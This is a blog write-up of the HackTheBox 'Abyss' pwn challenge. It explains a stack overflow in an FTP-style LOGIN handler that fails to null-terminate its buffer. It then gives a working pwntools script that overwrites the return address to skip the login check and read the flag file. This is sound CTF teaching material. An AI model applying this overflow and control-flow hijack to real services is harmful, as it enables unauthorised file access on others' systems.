HackTheBox Abyss Writeup | Binary Exploitation CTF

Motasem Hamdan
4 min readNov 10, 2024

--

Introduction

HackTheBox Abyss challenge is categorized as an Easy-level pwn challenge that revolves around exploiting a custom binary using a stack overflow vulnerability. The issue arises because the vulnerable function fails to null-terminate the string buffer. As a result, when the string is subsequently copied, it continues beyond the intended length of the destination buffer. This leads to a stack overflow, providing an opportunity for exploitation.

HackTheBox Abyss Description

Abyss is a secret collective of tech wizards with the single-minded aim of reintroducing the technology of old to the society of today. They are so indoctrinated to this faith that they will eradicate all that stand within their way. They are now going around, mumbling something about “file transfers” and spreading unrealistic lies about unattainable goals — can you analyse their work and see what they’re up to?

Source Code Analysis

The challenge’s source code is relatively straightforward. It includes two distinct commands: LOGIN and READ. The READ command is designed to open a file specified by the user and send its contents back through the open socket. However, users must be logged in to execute this command. The valid username and password are stored in the .creds file, and both credentials are randomly generated, as evident from the Dockerfile.

[...]
RUN echo $(tr -dc A-Za-z0-9 </dev/urandom | head -c 15):$(tr -dc A-Za-z0-9 </dev/urandom | head -c 15) > .creds
[...]

This means we will not have access to the username and password of the remote server instance, and using brute force to guess them is impractical since both are 15 bytes long. The LOGIN function expects FTP-style commands for both the username and password (e.g., PASS some_password). It reads these two commands into an intermediate buffer, first storing the username command (USER some_username) in a 512-byte buffer on the stack. Then it performs the same operation with the password command.

The copying process uses a method similar to strcpy. Specifically, it copies data starting from buf + strlen("USER ") into the user buffer. Since buf is not null-terminated, filling all 512 bytes of the buffer causes it to overflow beyond its bounds. This overflow can affect both the buf and the user (or password) buffer, potentially leading to an out-of-bounds write.

If the stack layout aligns favorably, such that the end of the user or pass buffers is positioned immediately after buf, we can potentially control the data written out of bounds on the stack. This would allow us to manipulate the memory directly following the buf buffer, giving us influence over the content stored in adjacent stack variables or structures.

[ buf ][ user ][ pass ][ return address ]

When the challenge binary reads the password from the user and we send 512 bytes to fill the buf, it will begin copying data from the user buffer starting at an offset of 5, exceeding the bounds of buf. This overflow allows us to overwrite the pass buffer and ultimately the return address on the stack.

Once we gain control over the return address and if the binary does not have PIE (Position-Independent Executable), the next step becomes straightforward: we direct execution to the cmd_read() function. However, to bypass the initial instructions that verify whether the user is logged in, we need to adjust the jump to land at a specific point in cmd_read(), skipping the login validation.

Exploit Script

The script below can be used to solve the challenge:

#!/usr/bin/env python3
from pwn import *
# Define the binary and set up context
binary_path = "../challenge/chal"
elf = context.binary = ELF(binary_path)
# Establish a remote connection
remote_host = "localhost"
remote_port = 1337
connection = remote(remote_host, remote_port)
# Step 1: Send an initial payload with a null integer
connection.send(p32(0))
connection.recvrepeat(1)
# Step 2: Send the USER command with crafted payload
user_payload = (
b"USER "
+ b"AAAAAAAABBBBBBBBC\x1cDDDDEEEEEEE"
+ p32(0x00000000004014eb) # Overwrite return address
)
connection.send(user_payload)
connection.recvrepeat(1)
# Step 3: Send the PASS command with a buffer overflow
pass_payload = b"PASS " + b"D" * (512 - 5) # Adjust for the command prefix
connection.send(pass_payload)
connection.recvrepeat(1)
# Step 4: Send the path to the target file
connection.send(b"/app/flag.txt")
# Step 5: Interact with the connection
connection.interactive()

You can also watch:

--

--

Motasem Hamdan

Motasem Hamdan is a content creator and swimmer who creates cyber security training videos and articles. https://www.youtube.com/@MotasemHamdan